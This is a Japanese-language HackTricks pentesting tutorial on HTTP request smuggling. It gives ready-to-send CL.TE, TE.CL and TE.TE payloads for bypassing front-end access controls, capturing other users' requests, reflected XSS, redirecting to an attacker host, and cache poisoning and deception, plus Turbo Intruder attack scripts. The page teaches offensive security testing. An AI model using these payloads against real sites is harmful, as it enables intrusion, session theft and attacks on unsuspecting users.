hacktricks/pentesting-web/http-request-smuggling
2023-10-11 21:05:01 +00:00
..
browser-http-request-smuggling.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['pentesting-web/http-request-smuggling/README.md'] to jp 2023-10-11 21:05:01 +00:00
request-smuggling-in-http-2-downgrades.md Translated to Japanese 2023-07-07 23:42:27 +00:00

HTTPリクエストスミグリング/HTTPデシンク攻撃

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

概要

この脆弱性は、フロントエンドプロキシバックエンドサーバーの間の非同期化により、攻撃者がHTTPリクエストを送信できるようになります。このリクエストは、フロントエンドプロキシ(ロードバランス/リバースプロキシ)によって単一のリクエストとして解釈され、バックエンドサーバーによって2つのリクエストとして解釈されます。
これにより、ユーザーは自分の後に到着する次のリクエストを変更することができます。

理論

RFC仕様2161

Transfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方が含まれるメッセージが受信された場合、後者は無視される必要があります。

Content-Length

Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズバイト単位を示します。

Transfer-Encoding: chunked

Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。
Chunkedは、大きなデータがチャンクのシリーズで送信されることを意味します。

現実

フロントエンド(ロードバランス/リバースプロキシ)はcontent-lengthまたはtransfer-encodingヘッダーを処理し、バックエンドサーバーはもう一方を処理するため、2つのシステムの間で非同期化が発生します。
これは非常に重大な問題です。なぜなら、攻撃者はリバースプロキシに1つのリクエストを送信でき、バックエンドサーバーは2つの異なるリクエストとして解釈するからです。この技術の危険性は、バックエンドサーバーが注入された2番目のリクエストを次のクライアントからのリクエストとして解釈し、そのクライアントの実際のリクエスト注入されたリクエストの一部となる可能性があることにあります。

特異性

HTTPでは、改行文字は2バイトで構成されることを覚えておいてください。

  • Content-Length: このヘッダーは、リクエストのボディのバイト数を示す10進数を使用します。ボディは最後の文字で終わることが期待されており、リクエストの最後には改行が必要ありません
  • Transfer-Encoding: このヘッダーは、次のチャンクバイト数を示す16進数ボディで使用します。チャンク改行で終わる必要がありますが、この改行は長さ指示子には含まれません。この転送方法は、サイズ0のチャンクの後に2つの改行が続くチャンクで終わる必要があります0
  • Connection: 私の経験に基づいて、リクエストスミグリングの最初のリクエストでは**Connection: keep-alive**を使用することをお勧めします。

基本的な例

したがって、リクエストスミグリング攻撃は、Content-LengthヘッダーとTransfer-Encodingヘッダーを単一のHTTPリクエストに配置し、これらを操作してフロントエンドとバックエンドのサーバーが異なる方法でリクエストを処理するようにします。これは、2つのサーバーの動作に依存します。

  • CL.TE: フロントエンドサーバーはContent-Lengthヘッダーを使用し、バックエンドサーバーはTransfer-Encodingヘッダーを使用します。
  • TE.CL: フロントエンドサーバーはTransfer-Encodingヘッダーを使用し、バックエンドサーバーはContent-Lengthヘッダーを使用します。
  • TE.TE: フロントエンドとバックエンドのサーバーの両方がTransfer-Encodingヘッダーをサポートしていますが、サーバーの1つはヘッダーを何らかの方法で隠蔽することで処理しないように誘導することができます。

CL.TEの脆弱性

ここでは、フロントエンドサーバーが**Content-Lengthヘッダーを使用し、バックエンドサーバーがTransfer-Encoding**ヘッダーを使用します。次のように、簡単なHTTPリクエストスミグリング攻撃を実行できます。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Content-Lengthは、リクエストのボディの長さが30バイトHTTPでは改行ごとに2バイトであることを示しています。したがって、リバースプロキシは完全なリクエストをバックエンドに送信し、バックエンドはTransfer-Encodingヘッダーを処理してGET /404 HTTP/1.1を次のリクエストの先頭として処理します(ちなみに、次のリクエストはFoo:x<次のリクエストはここから始まります>に追加されます)。

TE.CLの脆弱性

ここでは、フロントエンドサーバーがTransfer-Encodingヘッダーを使用し、バックエンドサーバーがContent-Lengthヘッダーを使用しています。次のようにして、簡単なHTTPリクエストスマグリング攻撃を実行することができます

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

この場合、リバースプロキシは**Transfer-Encodingが示すように、リクエスト全体バックエンド送信します。しかし、バックエンドContent-Lengthで示されるように、7b**4バイトのみを処理します。したがって、次のリクエストはGET /404 HTTP/1.1で始まるものになります。

攻撃が0で終了する必要があることに注意してください。次のリクエストは、xパラメータの追加値として追加されます。
また、埋め込まれたリクエストのContent-Lengthは、次のリクエストの長さを示します。それが小さすぎる場合、わずかなバイトが追加され、次のリクエストがエラーになります。

TE.TEの脆弱性

ここでは、フロントエンドとバックエンドの両方のサーバーがTransfer-Encodingヘッダーをサポートしていますが、どちらかのサーバーがヘッダーを何らかの方法で処理しないように誘導することができます。
Transfer-Encodingヘッダーを曖昧化する方法は無限にあります。例えば:

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

TEヘッダーの処理を停止するサーバー(リバースプロキシまたはバックエンド)によって、CL.TEの脆弱性またはTE.CLの脆弱性が見つかります。

HTTPリクエストスマグリングの発見

タイミングテクニックを使用したCL.TEの脆弱性の発見

アプリケーションがCL.TEバリアントのリクエストスマグリングに脆弱である場合、次のようなリクエストを送信すると、しばしば時間の遅延が発生します

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

フロントエンドサーバーはContent-Lengthヘッダーを使用するため、このリクエストの一部のみを転送し、0を省略します。バックエンドサーバーはTransfer-Encodingヘッダーを使用し、最初のチャンクを処理した後、次のチャンクの到着を待ちます。これにより、観測可能な時間の遅延が発生します。

場合によっては、タイムアウトではなく、次のシナリオのように最終ホストから400 Bad Requestを受け取ることがあります。ここでは、CL.TEペイロードが送信されます。

そして、レスポンスはボディ内にエラーを含むリダイレクトであり、haproxyのバージョンさえ表示されます。

タイミングテクニックを使用してTE.CLの脆弱性を見つける

アプリケーションがTE.CLバリアントのリクエストスミグリングに対して脆弱である場合、以下のようなリクエストを送信すると、しばしば時間の遅延が発生することがあります

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

HTTPリクエストスマグリングの脆弱性の探索

タイミングテクニックが機能していることがわかったら、他のクライアントのリクエストを変更できるかどうかを探る必要があります。
これを行う最も簡単な方法は、自分自身のリクエストを毒化させることで、たとえば / へのリクエストを404に返すようにすることです。
基本的な例では、CL.TETE.CL の例を見ました。これはクライアントのリクエストを毒化させ、 /404 を要求するようにすることで、クライアントが他のリソースを要求しているときに404の応答を引き起こします。

注意事項

他のリクエストとの干渉によるリクエストスマグリングの脆弱性を確認しようとする際には、いくつかの重要な考慮事項を心に留めておく必要があります。

  • "攻撃" リクエストと "通常" リクエストは、異なるネットワーク接続を使用してサーバーに送信する必要があります。同じ接続を介して両方のリクエストを送信すると、脆弱性が存在することを証明することはできません。
  • "攻撃" リクエストと "通常" リクエストは、可能な限り同じURLとパラメータ名を使用する必要があります。これは、多くの現代のアプリケーションがURLとパラメータに基づいてフロントエンドリクエストを異なるバックエンドサーバーにルーティングするためです。同じURLとパラメータを使用することで、リクエストが同じバックエンドサーバーで処理される可能性が高まり、攻撃が機能するためには重要です。
  • "通常" リクエストをテストして "攻撃" リクエストからの干渉を検出する際には、アプリケーションが同時に受信している他のリクエスト(他のユーザーからのリクエストを含む)と競合しています。 "通常" リクエストは "攻撃" リクエストの直後に送信する必要があります。アプリケーションがビジーな場合、脆弱性を確認するために複数の試行が必要になる場合があります。
  • 一部のアプリケーションでは、フロントエンドサーバーがロードバランサーとして機能し、URLとパラメータに基づいて異なるバックエンドシステムにリクエストを転送します。 "攻撃" リクエストと "通常" リクエストが異なるバックエンドシステムに転送される場合、攻撃は失敗します。これは、脆弱性を確認するために何度か試行する必要がある追加の理由です。
  • 攻撃が後続のリクエストに干渉することに成功した場合、これが干渉を検出するために送信した "通常" リクエストではなかった場合、他のアプリケーションユーザーが攻撃の影響を受けたことを意味します。テストを続ける場合、他のユーザーに混乱を引き起こす可能性がありますので、注意が必要です。

ホップバイホップヘッダーを介した強制

ホップバイホップヘッダーを悪用することで、プロキシに対してヘッダー Content-Length または Transfer-Encoding を削除するよう指示し、HTTPリクエストスマグリングを悪用することができます。

Connection: Content-Length

詳細な情報については、以下を参照してください:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

HTTPリクエストスマグリングの悪用

フロントエンドのセキュリティコントロールをバイパスするために

フロントエンドプロキシは、セキュリティチェックを実行する場合があります。HTTPリクエストスマグリングを悪用することで、これらのチェックを回避することができます。たとえば、この例では、外部から/adminにアクセスすることはできず、フロントエンドプロキシがそれをチェックしていますが、埋め込まれたリクエストはチェックされていません

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

フロントエンドのリクエスト書き換えの特定

多くのアプリケーションでは、フロントエンドサーバーがリクエストを書き換えてからバックエンドサーバーに転送します。通常、いくつかの追加のリクエストヘッダーを追加します。
一般的なことは、リクエストにヘッダーX-Forwarded-For: <クライアントのIP>または類似のヘッダーを追加することです。これにより、バックエンドはクライアントのIPを知ることができます。
時には、リクエストに追加される新しい値を見つけることができれば、保護を回避し、隠された情報/エンドポイントにアクセスすることができる場合があります。

プロキシがリクエストをどのように書き換えているかを発見するには、バックエンドがその値をレスポンスで反映するPOSTパラメータを見つける必要があります。その後、このパラメータを最後に使用し、次のようなエクスプロイトを使用します

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

この場合、次のリクエストはsearch=の後に追加されます。これはまた、値が反映されるパラメータであり、したがって次のリクエストのヘッダーが反映されます。

注意点として、埋め込まれたリクエストのContent-Lengthヘッダーで指定された長さのみが反映されることです。数が小さい場合、いくつかのバイトのみが反映されます。すべてのヘッダーの長さよりも大きな数を使用すると、埋め込まれたリクエストがエラーをスローします。そのため、小さい数から始めて、見たい内容がすべて表示されるまで数を増やしてください。
また、このテクニックはTE.CLの脆弱性でも利用可能ですが、リクエストはsearch=\r\n0で終了する必要があります。ただし、改行文字に関係なく、値は検索パラメータに追加されます。

最後に、この攻撃では、フロントエンドプロキシがリクエストをどのように書き換えているかを学ぶために自分自身に攻撃していることに注意してください。

他のユーザーのリクエストのキャプチャ

パラメータの内容を保存するPOSTリクエストを見つけることができれば、次のクライアントのリクエストを保存するために、そのパラメータの値として次のリクエストを追加することができます

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

この場合、パラメータcommentの値は、ページに公開されている投稿のコメントに保存されます。したがって、次のリクエストの内容が含まれたコメントが表示されます

このテクニックの制限の1つは、通常、スマグリングされたリクエストに適用されるパラメータ区切り記号までのデータのみをキャプチャすることです。URLエンコードされたフォーム送信の場合、これは&文字になります。つまり、被害者ユーザーのリクエストから保存されるコンテンツは、最初の&で終わります。これはクエリ文字列にさえ表示される可能性があります。

また、このテクニックはTE.CLの脆弱性でも利用可能ですが、リクエストはsearch=\r\n0で終了する必要があります。ただし、改行文字に関係なく、値は検索パラメータに追加されます。

HTTPリクエストスミグリングを使用して反射型XSSを悪用する方法

ウェブページが反射型XSSにも脆弱である場合、HTTPリクエストスミグリングを悪用してウェブのクライアントを攻撃することができます。HTTPリクエストスミグリングからの反射型XSSの攻撃にはいくつかの利点があります。

  • 被害者ユーザーとのやり取りは必要ありません
  • HTTPリクエストヘッダなど、通常の反射型XSS攻撃では簡単に制御できないリクエストの一部でXSSの振る舞いを悪用することができます。

もしウェブがUser-Agentヘッダに対して反射型XSSに脆弱である場合、以下のペイロードを使用して悪用することができます

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

HTTPリクエストスミグリングを使用してオンサイトリダイレクトをオープンリダイレクトに変換する方法

多くのアプリケーションは、リクエストのHostヘッダからホスト名をリダイレクトURLに配置して、オンサイトリダイレクトを実行します。これはApacheやIISウェブサーバーのデフォルトの動作です。たとえば、末尾にスラッシュがないフォルダのリクエストは、同じフォルダにスラッシュを含めたリダイレクトを受け取ります

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

この動作は通常無害とされていますが、リクエストスミグリング攻撃で他のユーザーを外部ドメインにリダイレクトすることができます。例えば:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

スミグリングされたリクエストは、攻撃者のウェブサイトにリダイレクトをトリガーし、バックエンドサーバーで処理される次のユーザーのリクエストに影響を与えます。例えば:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

ここでは、ユーザーのリクエストはウェブサイトのページでインポートされたJavaScriptファイルを要求しています。攻撃者は自分自身のJavaScriptをレスポンスに返すことで、被害者ユーザーを完全に侵害することができます。

HTTPリクエストスミグリングを使用してウェブキャッシュの汚染を行う方法

フロントエンドのインフラストラクチャの一部がコンテンツのキャッシュを実行している場合(通常はパフォーマンスのために)、サーバーのレスポンスを変更してキャッシュを汚染することができるかもしれません。

すでにサーバーからの期待される返される値を404に変更する方法を見てきました基本的な例)。同様に、汚染されたリクエストが/static/include.jsを要求している場合、サーバーは/index.htmlの内容を返すように変更することができます。これにより、/static/include.jsの内容が/index.htmlの内容でキャッシュされ、クライアントから/static/include.jsにアクセスできなくなりますDoS

これは、オープンリダイレクトまたはオンサイトリダイレクトからオープンリダイレクトへのリダイレクト(前のセクション)を見つけた場合にさらに興味深いです。なぜなら、/static/include.jsのキャッシュ値を自分が制御するスクリプトの値に変更することができるからです(/static/include.jsの新しいバージョンをダウンロードしようとするすべてのクライアントに対して一般的なXSSを行うことができます)。

この例では、キャッシュの汚染+オンサイトリダイレクトからオープンリダイレクトを悪用して、/static/include.jsのキャッシュの内容を攻撃者が制御するJSコードで提供する方法を示します

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

埋め込まれたリクエストが/post/next?postId=3を要求していることに注意してください。このリクエストは/post?postId=4にリダイレクトされ、ドメインを示すためにHostヘッダの値を使用します。したがって、Hostヘッダを変更して攻撃者のサーバーを指すようにすると、リダイレクトはそのドメインを使用します(オンサイトリダイレクトからオープンリダイレクト)。

その後、ソケットを汚染した後、**/static/include.js**に対してGETリクエストを送信する必要があります。このリクエストはオンサイトリダイレクトからオープンリダイレクトリクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。

次回、誰かが/static/include.jsを要求した場合、攻撃者のスクリプトのキャッシュされた内容が提供されます一般的なXSS

HTTPリクエストスマグリングを使用してウェブキャッシュの欺瞞を行う

ウェブキャッシュの毒入れとウェブキャッシュの欺瞞の違いは何ですか?

  • ウェブキャッシュの毒入れでは、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存し、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
  • ウェブキャッシュの欺瞞では、攻撃者はアプリケーションに別のユーザーの機密コンテンツをキャッシュに保存させ、その後、攻撃者はこのコンテンツをキャッシュから取得します。

このバリアントでは、攻撃者はユーザー固有の機密コンテンツを返すリクエストをスマグリングします。例えば:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

もしポイズンがキャッシュされる予定だった/someimage.pngのような静的コンテンツにアクセスしていたクライアントに到達した場合、被害者の/private/messagesの内容が/someimage.pngにキャッシュされ、攻撃者はそれを盗むことができます。
攻撃者は被害者がアクセスしようとしていた静的コンテンツを知らないため、おそらく最良の方法は攻撃を実行し、数秒待ってからすべての静的コンテンツを読み込み、プライベートデータを検索することです。

HTTPレスポンスデシンクロナイゼーションを使用したHTTPリクエストスマグリングの武器化

HTTPリクエストスマグリングの脆弱性を見つけたけれども、どのように攻撃すればいいかわからない場合は、以下の攻撃手法を試してみてください:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo Intruderスクリプト

CL.TE

https://hipotermia.pw/bb/http-desync-idorから

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

TE.CL

元のURL: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

詳細情報

ここからの画像

ツール

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥